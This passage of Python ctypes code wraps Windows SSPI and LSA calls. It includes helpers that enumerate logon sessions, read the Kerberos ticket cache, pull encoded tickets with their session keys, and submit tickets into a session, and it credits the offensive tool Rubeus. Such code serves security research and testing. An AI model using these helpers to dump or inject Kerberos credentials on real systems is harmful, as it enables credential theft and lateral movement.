specifies trust information about the certificate.This attribute is supported only on the client. CREDS = 0x80000080 # The pBuffer parameter contains a pointer to a SecPkgContext_ClientCreds structure that specifies client credentials. The client credentials can be either user name and password or user name and smart card PIN. This attribute is supported only on the server. CREDS_2 = 0x80000086 #The pBuffer parameter contains a pointer to a SecPkgContext_ClientCreds structure that specifies client credentials. If the client credential is user name and password, the buffer is a packed KERB_INTERACTIVE_LOGON structure. If the client credential is user name and smart card PIN, the buffer is a packed KERB_CERTIFICATE_LOGON structure. If the client credential is an online identity credential, the buffer is a marshaled SEC_WINNT_AUTH_IDENTITY_EX2 structure. This attribute is supported only on the CredSSP server. Windows Server 2008 R2, Windows 7, Windows Server 2008, Windows Vista, Windows Server 2003 and Windows XP: This value is not supported. NEGOTIATION_PACKAGE = 0x80000081 #The pBuffer parameter contains a pointer to a SecPkgContext_PackageInfo structure that specifies the name of the authentication package negotiated by the Microsoft Negotiate provider. PACKAGE_INFO = 10 #The pBuffer parameter contains a pointer to a SecPkgContext_PackageInfostructure.Returns information on the SSP in use. SERVER_AUTH_FLAGS = 0x80000083 #The pBuffer parameter contains a pointer to a SecPkgContext_Flags structure that specifies information about the flags in the current security context. This attribute is supported only on the client. SIZES = 0x0 #The pBuffer parameter contains a pointer to a SecPkgContext_Sizes structure. Queries the sizes of the structures used in the per-message functions and authentication exchanges. SUBJECT_SECURITY_ATTRIBUTES = 124 # The pBuffer parameter contains a pointer to a SecPkgContext_SubjectAttributes structure. This value returns information about the security attributes for the connection. This value is supported only on the CredSSP server. Windows Server 2008, Windows Vista, Windows Server 2003 and Windows XP: This value is not supported. ENDPOINT_BINDINGS = 26 # https://docs.microsoft.com/en-us/windows/desktop/api/sspi/ns-sspi-_secbuffer class SECBUFFER_TYPE(enum.Enum): SECBUFFER_ALERT = 17 #The buffer contains an alert message. SECBUFFER_ATTRMASK = 4026531840 #The buffer contains a bitmask for a SECBUFFER_READONLY_WITH_CHECKSUM buffer. SECBUFFER_CHANNEL_BINDINGS = 14 # The buffer contains channel binding information. SECBUFFER_CHANGE_PASS_RESPONSE = 15 #The buffer contains a DOMAIN_PASSWORD_INFORMATION structure. SECBUFFER_DATA = 1 #The buffer contains common data. The security package can read and write this data, for example, to encrypt some or all of it. SECBUFFER_DTLS_MTU = 24#The buffer contains the setting for the maximum transmission unit (MTU) size for DTLS only. The default value is 1096 and the valid configurable range is between 200 and 64*1024. SECBUFFER_EMPTY = 0 #This is a placeholder in the buffer array. The caller can supply several such entries in the array, and the security package can return information in them. For more information, see SSPI Context Semantics. SECBUFFER_EXTRA = 5 #The security package uses this value to indicate the number of extra or unprocessed bytes in a message. SECBUFFER_MECHLIST = 11 #The buffer contains a protocol-specific list of object identifiers (OIDs). It is not usually of interest to callers. SECBUFFER_MECHLIST_SIGNATURE = 12 #The buffer contains a signature of a SECBUFFER_MECHLIST buffer. It is not usually of interest to callers. SECBUFFER_MISSING = 4 #The security package uses this value to indicate the number of missing bytes in a particular message. The pvBuffer member is ignored in this type. SECBUFFER_PKG_PARAMS = 3 #These are transport-to-package–specific parameters. For example, the NetWare redirector may supply the server object identifier, while DCE RPC can supply an association UUID, and so on. SECBUFFER_PRESHARED_KEY = 22 #The buffer contains the preshared key. The maximum allowed PSK buffer size is 256 bytes. SECBUFFER_PRESHARED_KEY_IDENTITY = 23 #The buffer contains the preshared key identity. SECBUFFER_SRTP_MASTER_KEY_IDENTIFIER = 20 #The buffer contains the SRTP master key identifier. SECBUFFER_SRTP_PROTECTION_PROFILES = 19 #The buffer contains the list of SRTP protection profiles, in descending order of preference. SECBUFFER_STREAM_HEADER = 7 #The buffer contains a protocol-specific header for a particular record. It is not usually of interest to callers. SECBUFFER_STREAM_TRAILER = 6 #The buffer contains a protocol-specific trailer for a particular record. It is not usually of interest to callers. SECBUFFER_TARGET = 13 #This flag is reserved. Do not use it. SECBUFFER_TARGET_HOST = 16 #The buffer specifies the service principal name (SPN) of the target. #This value is supported by the Digest security package when used with channel bindings. #Windows Server 2008, Windows Vista, Windows Server 2003 and Windows XP: This value is not supported. SECBUFFER_TOKEN = 2 #The buffer contains the security token portion of the message. This is read-only for input parameters or read/write for output parameters. SECBUFFER_TOKEN_BINDING = 21 #The buffer contains the supported token binding protocol version and key parameters, in descending order of preference. SECBUFFER_APPLICATION_PROTOCOLS = 18 #The buffer contains a list of application protocol IDs, one list per application protocol negotiation extension type to be enabled. SECBUFFER_PADDING = 9 class FILETIME(Structure): _fields_ = [ ("dwLowDateTime", DWORD), ("dwHighDateTime", DWORD), ] PFILETIME = POINTER(FILETIME) TimeStamp = FILETIME PTimeStamp = PFILETIME # https://docs.microsoft.com/en-us/windows/desktop/api/sspi/ns-sspi-secpkgcontext_sessionkey class SecPkgContext_SessionKey(Structure): _fields_ = [('SessionKeyLength',ULONG),('SessionKey', LPBYTE)] @property def Buffer(self): return string_at(self.SessionKey, size=self.SessionKeyLength) # https://github.com/benjimin/pywebcorp/blob/master/pywebcorp/ctypes_sspi.py class SecHandle(Structure): _fields_ = [ ('dwLower',POINTER(ULONG)), ('dwUpper',POINTER(ULONG)) ] def __init__(self): # populate deeply (empty memory fields) rather than shallow null POINTERs. super(SecHandle, self).__init__(pointer(ULONG()), pointer(ULONG())) class SecBuffer(Structure): """Stores a memory buffer: size, type-flag, and POINTER. The type can be empty (0) or token (2). InitializeSecurityContext will write to the buffer that is flagged "token" and update the size, or else fail 0x80090321=SEC_E_BUFFER_TOO_SMALL.""" _fields_ = [ ('cbBuffer',ULONG), ('BufferType',ULONG), ('pvBuffer',PVOID) ] def __init__(self, token=b'\x00'*maxtoken_size, buffer_type = SECBUFFER_TYPE.SECBUFFER_TOKEN): buf = create_string_buffer(token, size=len(token)) Structure.__init__(self,sizeof(buf),buffer_type.value,cast(byref(buf),PVOID)) @property def Buffer(self): return (SECBUFFER_TYPE(self.BufferType), string_at(self.pvBuffer, size=self.cbBuffer)) class SecBufferDesc(Structure): """Descriptor stores SECBUFFER_VERSION=0, number of buffers (e.g. one), and POINTER to an array of SecBuffer structs.""" _fields_ = [('ulVersion',ULONG),('cBuffers',ULONG),('pBuffers',POINTER(SecBuffer))] def __init__(self, secbuffers = None): #secbuffers = a list of security buffers (SecBuffer) if secbuffers is not None: Structure.__init__(self,0,len(secbuffers),(SecBuffer * len(secbuffers))(*secbuffers)) else: Structure.__init__(self,0,1,pointer(SecBuffer())) def __getitem__(self, index): return self.pBuffers[index] @property def Buffers(self): data = [] for i in range(self.cBuffers): data.append(self.pBuffers[i].Buffer) return data PSecBufferDesc = POINTER(SecBufferDesc) PSecHandle = POINTER(SecHandle) CredHandle = SecHandle PCredHandle = PSecHandle CtxtHandle = SecHandle PCtxtHandle = PSecHandle class LUID(Structure): _fields_ = [ ("LowPart", DWORD), ("HighPart", LONG), ] def to_int(self): return LUID.luid_to_int(self) @staticmethod def luid_to_int(luid): return (luid.HighPart << 32) + luid.LowPart @staticmethod def from_int(i): luid = LUID() luid.HighPart = i >> 32 luid.LowPart = i & 0xFFFFFFFF return luid PLUID = POINTER(LUID) class LSA_STRING(Structure): _fields_ = [ ("Length", USHORT), ("MaximumLength", USHORT), ("Buffer", POINTER(c_char)), ] def to_string(self): return string_at(self.Buffer, self.MaximumLength).decode() PLSA_STRING = POINTER(LSA_STRING) class LSA_UNICODE_STRING(Structure): _fields_ = [ ("Length", USHORT), ("MaximumLength", USHORT), ("Buffer", POINTER(c_char)), ] @staticmethod def from_string(s): s = s.encode('utf-16-le') lus = LSA_UNICODE_STRING() lus.Buffer = create_string_buffer(s, len(s)) lus.MaximumLength = len(s)+1 lus.Length = len(s) return lus def to_string(self): return string_at(self.Buffer, self.MaximumLength).decode('utf-16-le').replace('\x00','') PLSA_UNICODE_STRING = POINTER(LSA_UNICODE_STRING) class LSA_LAST_INTER_LOGON_INFO(Structure): _fields_ = [ ("LastSuccessfulLogon", LARGE_INTEGER), ("LastFailedLogon", LARGE_INTEGER), ("FailedAttemptCountSinceLastSuccessfulLogon", ULONG) ] def to_dict(self): return { "LastSuccessfulLogon" : self.LastSuccessfulLogon, "LastFailedLogon" : self.LastFailedLogon, "FailedAttemptCountSinceLastSuccessfulLogon" : self.FailedAttemptCountSinceLastSuccessfulLogon } PLSA_LAST_INTER_LOGON_INFO = POINTER(LSA_LAST_INTER_LOGON_INFO) class SECURITY_LOGON_SESSION_DATA(Structure): _fields_ = [ ("Size", ULONG), ("LogonId", LUID), ("UserName", LSA_UNICODE_STRING), ("LogonDomain", LSA_UNICODE_STRING), ("AuthenticationPackage", LSA_UNICODE_STRING), ("LogonType", ULONG), ("Session", ULONG), ("Sid", PVOID), ("LogonTime", LARGE_INTEGER), ("LogonServer", LSA_UNICODE_STRING), ("DnsDomainName", LSA_UNICODE_STRING), ("Upn", LSA_UNICODE_STRING), ("UserFlags", ULONG), ("LastLogonInfo", LSA_LAST_INTER_LOGON_INFO), ("LogonScript", LSA_UNICODE_STRING), ("ProfilePath", LSA_UNICODE_STRING), ("HomeDirectory", LSA_UNICODE_STRING), ("HomeDirectoryDrive", LSA_UNICODE_STRING), ("LogoffTime", LARGE_INTEGER), ("KickOffTime", LARGE_INTEGER), ("PasswordLastSet", LARGE_INTEGER), ("PasswordCanChange", LARGE_INTEGER), ("PasswordMustChange", LARGE_INTEGER), ] def to_dict(self): return { "LogonId": self.LogonId.to_int(), "UserName": self.UserName.to_string(), "LogonDomain": self.LogonDomain.to_string(), "AuthenticationPackage": self.AuthenticationPackage.to_string(), "LogonType": self.LogonType, "Session": self.Session, "Sid": str(SID.from_ptr(self.Sid)), #PVOID), # PSID "LogonTime": self.LogonTime, "LogonServer": self.LogonServer.to_string(), "DnsDomainName": self.DnsDomainName.to_string(), "Upn": self.Upn.to_string(), "UserFlags": self.UserFlags, "LastLogonInfo": self.LastLogonInfo.to_dict(), "LogonScript": self.LogonScript.to_string(), "ProfilePath": self.ProfilePath.to_string(), "HomeDirectory": self.HomeDirectory.to_string(), "HomeDirectoryDrive": self.HomeDirectoryDrive.to_string(), "LogoffTime": self.LogoffTime, "KickOffTime": self.KickOffTime, "PasswordLastSet": self.PasswordLastSet, "PasswordCanChange": self.PasswordCanChange, "PasswordMustChange": self.PasswordMustChange, } PSECURITY_LOGON_SESSION_DATA = POINTER(SECURITY_LOGON_SESSION_DATA) class KERB_PURGE_TKT_CACHE_REQUEST(Structure): _fields_ = [ ("MessageType", DWORD), ("LogonId", LUID), ("ServerName", LSA_STRING), ("RealmName", LSA_STRING), ] def __init__(self, logonid = 0, servername=None, realname = None): if isinstance(logonid, int): logonid = LUID.from_int(logonid) super(KERB_PURGE_TKT_CACHE_REQUEST, self).__init__(KERB_PROTOCOL_MESSAGE_TYPE.KerbPurgeTicketCacheMessage.value, logonid) class KERB_TICKET_CACHE_INFO(Structure): _fields_ = [ ("ServerName", LSA_UNICODE_STRING), ("RealmName", LSA_UNICODE_STRING), ("StartTime", LARGE_INTEGER), ("EndTime", LARGE_INTEGER), ("RenewTime", LARGE_INTEGER), ("EncryptionType", LONG), ("TicketFlags", ULONG) ] def to_dict(self): return { "ServerName" : self.ServerName.to_string(), "RealmName" : self.RealmName.to_string(), "StartTime" : self.StartTime, "EndTime" : self.EndTime, "RenewTime" : self.RenewTime, "EncryptionType" : self.EncryptionType, "TicketFlags" : self.TicketFlags, } PKERB_TICKET_CACHE_INFO = POINTER(KERB_TICKET_CACHE_INFO) class KERB_CRYPTO_KEY(Structure): _fields_ = [ ("KeyType", LONG), ("Length", ULONG), ("Value", PVOID), #PUCHAR ] def to_dict(self): return { 'KeyType' : self.KeyType, 'Key' : string_at(self.Value, self.Length) } PKERB_CRYPTO_KEY = POINTER(KERB_CRYPTO_KEY) class KERB_EXTERNAL_NAME(Structure): _fields_ = [ ("NameType", SHORT), ("NameCount", USHORT), ("Names", LSA_UNICODE_STRING) #LIST!!!! not implemented! ] PKERB_EXTERNAL_NAME = POINTER(KERB_EXTERNAL_NAME) class KERB_EXTERNAL_TICKET(Structure): _fields_ = [ ("ServiceName" , PVOID), #PKERB_EXTERNAL_NAME ("TargetName" , PVOID), #PKERB_EXTERNAL_NAME ("ClientName" , PVOID), #PKERB_EXTERNAL_NAME ("DomainName" , LSA_UNICODE_STRING), ("TargetDomainName" , LSA_UNICODE_STRING), ("AltTargetDomainName" , LSA_UNICODE_STRING), ("SessionKey" , KERB_CRYPTO_KEY), ("TicketFlags" , ULONG), ("Flags" , ULONG), ("KeyExpirationTime" , LARGE_INTEGER), ("StartTime" , LARGE_INTEGER), ("EndTime" , LARGE_INTEGER), ("RenewUntil" , LARGE_INTEGER), ("TimeSkew" , LARGE_INTEGER), ("EncodedTicketSize" , ULONG), ("EncodedTicket" , PVOID) ] def get_data(self): return { 'Key' : self.SessionKey.to_dict(), 'Ticket' : string_at(self.EncodedTicket, self.EncodedTicketSize) } PKERB_EXTERNAL_TICKET = KERB_EXTERNAL_TICKET class KERB_QUERY_TKT_CACHE_REQUEST(Structure): _fields_ = [ ("MessageType", DWORD), ("LogonId", LUID), ] def __init__(self, logonid = 0): if isinstance(logonid, int): logonid = LUID.from_int(logonid) super(KERB_QUERY_TKT_CACHE_REQUEST, self).__init__(KERB_PROTOCOL_MESSAGE_TYPE.KerbQueryTicketCacheMessage.value, logonid) class KERB_QUERY_TKT_CACHE_RESPONSE_SIZE(Structure): _fields_ = [ ("MessageType", DWORD), ("CountOfTickets", ULONG), ] class KERB_QUERY_TKT_CACHE_RESPONSE(Structure): _fields_ = [ ("MessageType", DWORD), ("CountOfTickets", ULONG), ("Tickets", KERB_TICKET_CACHE_INFO) #array of tickets!! ] class KERB_SUBMIT_TKT_REQUEST(Structure): _fields_ = [ ("MessageType", DWORD), ("LogonId", LUID), ("TicketFlags", ULONG), ("Key", KERB_CRYPTO_KEY), ("KerbCredSize", ULONG), ("KerbCredOffset" , ULONG) ] KERB_SUBMIT_TKT_REQUEST_OFFSET = sizeof(KERB_SUBMIT_TKT_REQUEST()) def submit_tkt_helper(ticket_data, logonid=0): offset = KERB_SUBMIT_TKT_REQUEST_OFFSET - 4 if isinstance(logonid, int): logonid = LUID.from_int(logonid) class KERB_SUBMIT_TKT_REQUEST(Structure): _pack_ = 4 _fields_ = [ ("MessageType", DWORD), ("LogonId", LUID), ("TicketFlags", ULONG), #("KeyType", LONG), ("Length", ULONG), ("Value", PVOID), #PUCHAR ("KerbCredSize", ULONG), ("KerbCredOffset" , ULONG), ("TicketData" , c_byte * len(ticket_data)) ] req = KERB_SUBMIT_TKT_REQUEST() req.MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbSubmitTicketMessage.value req.LogonId = logonid req.TicketFlags = 0 req.Key = KERB_CRYPTO_KEY() #empty key req.KerbCredSize = len(ticket_data) #req.KerbCredOffset = req.TicketData = (c_byte * len(ticket_data))(*ticket_data) #struct_end = addressof(req) + sizeof(req) #print('struct_end %s' % hex(struct_end)) #ticketdata_start = struct_end - len(ticket_data) #targetname_start_padded = ticketdata_start - (ticketdata_start % sizeof(c_void_p)) #print('targetname_start_padded %s' % hex(targetname_start_padded)) #print('offset %s' % offset) #print('len(ticket_data) %s' % len(ticket_data)) req.KerbCredOffset = offset #targetname_start_padded #print(hexdump(string_at(addressof(req), sizeof(req)), start = addressof(req))) #print() #print(hexdump(string_at(addressof(req) + req.KerbCredOffset, 10 ))) #if string_at(addressof(req) + req.KerbCredOffset, req.KerbCredSize) != ticket_data: # print('!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!') return req class KERB_RETRIEVE_TKT_REQUEST(Structure): _fields_ = [ ("MessageType", DWORD), ("LogonId", LUID), ("TargetName", LSA_UNICODE_STRING), ("TicketFlags", ULONG), ("CacheOptions", ULONG), ("EncryptionType", LONG), ("CredentialsHandle", PVOID), #SecHandle ] def __init__(self, targetname, ticketflags = 0x0, cacheoptions = 0x8, encryptiontype = 0x0, logonid = 0): if isinstance(logonid, int): logonid = LUID.from_int(logonid) super(KERB_RETRIEVE_TKT_REQUEST, self).__init__( KERB_PROTOCOL_MESSAGE_TYPE.KerbRetrieveEncodedTicketMessage.value, logonid, LSA_UNICODE_STRING.from_string(targetname), ticketflags, cacheoptions, encryptiontype, None, ) def retrieve_tkt_helper(targetname, logonid = 0, ticketflags = 0x0, cacheoptions = 0x8, encryptiontype = 0x0, temp_offset = 0): # Rubeus helped me here with the info that the "targetname" structure's internal pointer # must be pointing to the bottom of the actual KERB_RETRIEVE_TKT_REQUEST otherwise you will get a generic error # Sadly that wasn't completely enough because . So I introduced an extra pointer to serve # as a platform-independent padding between the oringinal structure and the actual targetname bytes. # # For reference: # https://github.com/GhostPack/Rubeus/blob/master/Rubeus/lib/LSA.cs if isinstance(logonid, int): logonid = LUID.from_int(logonid) targetname_enc = targetname.encode('utf-16-le') + b'\x00\x00' targetname_len_alloc = len(targetname_enc) class KERB_RETRIEVE_TKT_REQUEST(Structure): _fields_ = [ ("MessageType", DWORD), ("LogonId", LUID), ("TargetName", LSA_UNICODE_STRING), ("TicketFlags", ULONG), ("CacheOptions", ULONG), ("EncryptionType", LONG), ("CredentialsHandle", PVOID), #SecHandle ("UNK", PVOID), #I put this here otherwise there is an error "Invalid parameter". Probably padding issue but I dunno ("TargetNameData", (c_byte * targetname_len_alloc)), ] req = KERB_RETRIEVE_TKT_REQUEST() req.MessageType = KERB_PROTOCOL_MESSAGE_TYPE.KerbRetrieveEncodedTicketMessage.value req.LogonId = logonid req.TicketFlags = ticketflags req.CacheOptions = cacheoptions req.EncryptionType = encryptiontype req.TargetNameData = (c_byte * len(targetname_enc))(*targetname_enc) struct_end = addressof(req) + sizeof(req) targetname_start = struct_end - targetname_len_alloc targetname_start_padded = targetname_start - (targetname_start % sizeof(c_void_p)) lsa_target = LSA_UNICODE_STRING() lsa_target.Length = len(targetname.encode('utf-16-le')) lsa_target.MaximumLength = targetname_len_alloc lsa_target.Buffer = cast(targetname_start_padded, POINTER(c_char)) req.TargetName = lsa_target #print(targetname_start_padded) #print(lsa_target.Buffer.contents) ##print(lsa_target.to_string()) #print(string_at(targetname_start_padded, lsa_target.MaximumLength)) #print('a %s' % addressof(req)) #print('s %s' % sizeof(req)) #hd = hexdump(string_at(addressof(req), sizeof(req)), start = addressof(req)) #print(hd) return req class KERB_RETRIEVE_TKT_RESPONSE(Structure): _fields_ = [ ("Ticket", KERB_EXTERNAL_TICKET), ] # Invalid handle value is -1 casted to void pointer. try: INVALID_HANDLE_VALUE = c_void_p(-1).value #-1 #0xFFFFFFFF except TypeError: if sizeof(c_void_p) == 4: INVALID_HANDLE_VALUE = 0xFFFFFFFF elif sizeof(c_void_p) == 8: INVALID_HANDLE_VALUE = 0xFFFFFFFFFFFFFFFF else: raise def get_lsa_error(ret_status): return WinError(LsaNtStatusToWinError(ret_status)) def RaiseIfZero(result, func = None, arguments = ()): """ Error checking for most Win32 API calls. The function is assumed to return an integer, which is C{0} on error. In that case the C{WindowsError} exception is raised. """ if not result: raise WinError() return result def LsaRaiseIfNotErrorSuccess(result, func = None, arguments = ()): """ Error checking for Win32 Registry API calls. The function is assumed to return a Win32 error code. If the code is not C{ERROR_SUCCESS} then a C{WindowsError} exception is raised. """ if result != ERROR_SUCCESS: raise WinError(LsaNtStatusToWinError(result)) return result # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsantstatustowinerror def LsaNtStatusToWinError(errcode): _LsaConnectUntrusted = windll.Advapi32.LsaNtStatusToWinError _LsaConnectUntrusted.argtypes = [NTSTATUS] _LsaConnectUntrusted.restype = ULONG res = _LsaConnectUntrusted(errcode) if res == 0x13D: raise Exception('ERROR_MR_MID_NOT_FOUND for %s' % errcode) return res # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsafreereturnbuffer def LsaFreeReturnBuffer(pbuffer): _LsaFreeReturnBuffer = windll.Secur32.LsaFreeReturnBuffer _LsaFreeReturnBuffer.argtypes = [PVOID] _LsaFreeReturnBuffer.restype = NTSTATUS _LsaFreeReturnBuffer.errcheck = LsaRaiseIfNotErrorSuccess _LsaFreeReturnBuffer(pbuffer) # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaconnectuntrusted def LsaConnectUntrusted(): _LsaConnectUntrusted = windll.Secur32.LsaConnectUntrusted _LsaConnectUntrusted.argtypes = [PHANDLE] _LsaConnectUntrusted.restype = NTSTATUS _LsaConnectUntrusted.errcheck = LsaRaiseIfNotErrorSuccess lsa_handle = HANDLE(INVALID_HANDLE_VALUE) _LsaConnectUntrusted(byref(lsa_handle)) return lsa_handle # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaderegisterlogonprocess def LsaDeregisterLogonProcess(lsa_handle): _LsaDeregisterLogonProcess = windll.Secur32.LsaDeregisterLogonProcess _LsaDeregisterLogonProcess.argtypes = [HANDLE] _LsaDeregisterLogonProcess.restype = NTSTATUS _LsaDeregisterLogonProcess.errcheck = LsaRaiseIfNotErrorSuccess _LsaDeregisterLogonProcess(lsa_handle) return # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaregisterlogonprocess def LsaRegisterLogonProcess(logon_process_name): #logon_process_name == This string must not exceed 127 bytes. _LsaRegisterLogonProcess = windll.Secur32.LsaRegisterLogonProcess _LsaRegisterLogonProcess.argtypes = [PLSA_STRING, PHANDLE, PLSA_OPERATIONAL_MODE] _LsaRegisterLogonProcess.restype = NTSTATUS _LsaRegisterLogonProcess.errcheck = LsaRaiseIfNotErrorSuccess if isinstance(logon_process_name, str): logon_process_name = logon_process_name.encode() pname = LSA_STRING() pname.Buffer = create_string_buffer(logon_process_name) pname.Length = len(logon_process_name) pname.MaximumLength = len(logon_process_name) + 1 lsa_handle = HANDLE(INVALID_HANDLE_VALUE) dummy = LSA_OPERATIONAL_MODE(0) _LsaRegisterLogonProcess(byref(pname), byref(lsa_handle), byref(dummy)) return lsa_handle # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsalookupauthenticationpackage def LsaLookupAuthenticationPackage(lsa_handle, package_name): #logon_process_name == This string must not exceed 127 bytes. _LsaLookupAuthenticationPackage = windll.Secur32.LsaLookupAuthenticationPackage _LsaLookupAuthenticationPackage.argtypes = [HANDLE, PLSA_STRING, PULONG] _LsaLookupAuthenticationPackage.restype = NTSTATUS _LsaLookupAuthenticationPackage.errcheck = LsaRaiseIfNotErrorSuccess if isinstance(package_name, str): package_name = package_name.encode() pname = LSA_STRING() pname.Buffer = create_string_buffer(package_name) pname.Length = len(package_name) pname.MaximumLength = len(package_name) + 1 package_id = ULONG(0) _LsaLookupAuthenticationPackage(lsa_handle, byref(pname), byref(package_id)) return package_id.value # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsacallauthenticationpackage def LsaCallAuthenticationPackage(lsa_handle, package_id, message): #message bytes _LsaCallAuthenticationPackage = windll.Secur32.LsaCallAuthenticationPackage _LsaCallAuthenticationPackage.argtypes = [HANDLE, ULONG, PVOID, ULONG, PVOID, PULONG, PNTSTATUS] _LsaCallAuthenticationPackage.restype = DWORD _LsaCallAuthenticationPackage.errcheck = LsaRaiseIfNotErrorSuccess if not isinstance(message, Structure): message = bytes(message) message_len = len(message) else: message_len = len(bytes(message)) return_msg_p = c_void_p() return_msg_len = ULONG(0) return_status = NTSTATUS(INVALID_HANDLE_VALUE) _LsaCallAuthenticationPackage(lsa_handle, package_id, byref(message), message_len, byref(return_msg_p), byref(return_msg_len), byref(return_status)) return_msg = b'' free_ptr = None #please free this pointer when the parsing is finished on the upper levels using LsaFreeReturnBuffer. Problem is that if we call LsaFreeReturnBuffer here then the parsing will fail if the message has nested structures with pointers involved because by the time of parsing those pointers will be freed. sad. if return_msg_len.value > 0: return_msg = string_at(return_msg_p, return_msg_len.value) free_ptr = return_msg_p #LsaFreeReturnBuffer(return_msg_p) return return_msg, return_status.value, free_ptr # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaenumeratelogonsessions def LsaEnumerateLogonSessions(): #logon_process_name == This string must not exceed 127 bytes. _LsaEnumerateLogonSessions = windll.Secur32.LsaEnumerateLogonSessions _LsaEnumerateLogonSessions.argtypes = [PULONG , PVOID] #PLUID _LsaEnumerateLogonSessions.restype = NTSTATUS _LsaEnumerateLogonSessions.errcheck = LsaRaiseIfNotErrorSuccess LogonSessionCount = ULONG(0) start_luid = c_void_p() _LsaEnumerateLogonSessions(byref(LogonSessionCount), byref(start_luid)) class LUIDList(Structure): _fields_ = [ ("LogonIds", LUID*LogonSessionCount.value), ] PLUIDList = POINTER(LUIDList) res_luids = [] pluids = cast(start_luid, PLUIDList) for luid in pluids.contents.LogonIds: res_luids.append(luid.to_int()) LsaFreeReturnBuffer(start_luid) return res_luids # https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsagetlogonsessiondata def LsaGetLogonSessionData(luid): #logon_process_name == This string must not exceed 127 bytes. _LsaGetLogonSessionData = windll.Secur32.LsaGetLogonSessionData _LsaGetLogonSessionData.argtypes = [PLUID, PVOID] #PSECURITY_LOGON_SESSION_DATA _LsaGetLogonSessionData.restype = NTSTATUS _LsaGetLogonSessionData.errcheck = LsaRaiseIfNotErrorSuccess if isinstance(luid, int): luid = LUID.from_int(luid) ppsessiondata = c_void_p() _LsaGetLogonSessionData(byref(luid), byref(ppsessiondata)) psessiondata = cast(ppsessiondata, PSECURITY_LOGON_SESSION_DATA) sessiondata = psessiondata.contents.to_dict() LsaFreeReturnBuffer(ppsessiondata) return sessiondata #https://github.com/mhammond/pywin32/blob/d64fac8d7bda2cb1d81e2c9366daf99e802e327f/win32/Lib/sspi.py#L108 #https://docs.microsoft.com/en-us/windows/desktop/secauthn/using-sspi-with-a-windows-sockets-client #https://msdn.microsoft.com/en-us/library/Aa374712(v=VS.85).aspx def AcquireCredentialsHandle(client_name, package_name, tragetspn, cred_usage, pluid = None, authdata = None): def errc(result, func, arguments): if SEC_E(result) == SEC_E.OK: return result raise Exception('%s failed with error code %s (%s)' % ('AcquireCredentialsHandle', result, SEC_E(result))) _AcquireCredentialsHandle = windll.Secur32.AcquireCredentialsHandleA _AcquireCredentialsHandle.argtypes = [PSEC_CHAR, PSEC_CHAR, ULONG, PLUID, PVOID, PVOID, PVOID, PCredHandle, PTimeStamp] _AcquireCredentialsHandle.restype = DWORD _AcquireCredentialsHandle.errcheck = errc #TODO: package_name might be different from version to version. implement functionality to poll it properly! cn = None if client_name: cn = LPSTR(client_name.encode('ascii')) pn = LPSTR(package_name.encode('ascii')) creds = CredHandle() ts = TimeStamp() _AcquireCredentialsHandle(cn, pn, cred_usage, pluid, authdata, None, None, byref(creds), byref(ts)) return creds # https://docs.microsoft.com/en-us/windows/desktop/api/sspi/nf-sspi-querycontextattributesa def QueryContextAttributes(ctx, attr, sec_struct): #attr = SECPKG_ATTR enum def errc(result, func, arguments): if SEC_E(result) == SEC_E.OK: return SEC_E(result) raise Exception('%s failed with error code %s (%s)' % ('QueryContextAttributes', result, SEC_E(result))) _QueryContextAttributes = windll.Secur32.QueryContextAttributesW _QueryContextAttributes.argtypes = [PCtxtHandle, ULONG, PVOID] _QueryContextAttributes.restype = DWORD _QueryContextAttributes.errcheck = errc res = _QueryContextAttributes(byref(ctx), attr.value, byref(sec_struct)) return # https://msdn.microsoft.com/en-us/library/windows/desktop/aa375507(v=vs.85).aspx def InitializeSecurityContext(creds, target, ctx = None, flags = ISC_REQ.INTEGRITY | ISC_REQ.CONFIDENTIALITY | ISC_REQ.SEQUENCE_DETECT | ISC_REQ.REPLAY_DETECT, TargetDataRep = 0, token = None): #print('==== InitializeSecurityContext ====') #print('Creds: %s' % creds) #print('Target: %s' % target) #print('ctx: %s' % ctx) #print('token: %s' % token) def errc(result, func, arguments): if SEC_E(result) in [SEC_E.OK, SEC_E.COMPLETE_AND_CONTINUE, SEC_E.COMPLETE_NEEDED, SEC_E.CONTINUE_NEEDED, SEC_E.INCOMPLETE_CREDENTIALS]: return SEC_E(result) raise Exception('%s failed with error code %s (%s)' % ('InitializeSecurityContext', result, SEC_E(result))) _InitializeSecurityContext = windll.Secur32.InitializeSecurityContextA _InitializeSecurityContext.argtypes = [PCredHandle, PCtxtHandle, PSEC_CHAR, ULONG, ULONG, ULONG, PSecBufferDesc, ULONG, PCtxtHandle, PSecBufferDesc, PULONG, PTimeStamp] _InitializeSecurityContext.restype = DWORD _InitializeSecurityContext.errcheck = errc if target: ptarget = LPSTR(target.encode('ascii')) else: ptarget = None newbuf = SecBufferDesc() outputflags = ULONG() expiry = TimeStamp() if token: token = SecBufferDesc([SecBuffer(token)]) if not ctx: ctx = CtxtHandle() res = _InitializeSecurityContext(byref(creds), None, ptarget, int(flags), 0 ,TargetDataRep, byref(token) if token else None, 0, byref(ctx), byref(newbuf), byref(outputflags), byref(expiry)) else: res = _InitializeSecurityContext(byref(creds), byref(ctx), ptarget, int(flags), 0 ,TargetDataRep, byref(token) if token else None, 0, byref(ctx), byref(newbuf), byref(outputflags), byref(expiry)) data = newbuf.Buffers return res, ctx, data, ISC_REQ(outputflags.value), expiry def get_ticket_cache_info_helper(lsa_handle, package_id, luid, throw = True): result = [] message = KERB_QUERY_TKT_CACHE_REQUEST(luid) ret_msg, ret_status, free_prt = LsaCallAuthenticationPackage(lsa_handle, package_id, message) if ret_status != 0: if throw is True: raise WinError(LsaNtStatusToWinError(ret_status)) return result response_preparse = KERB_QUERY_TKT_CACHE_RESPONSE_SIZE.from_buffer_copy(ret_msg) if response_preparse.CountOfTickets > 0: #new class class KERB_QUERY_TKT_CACHE_RESPONSE_ARRAY(Structure): _fields_ = [ ("MessageType", DWORD), 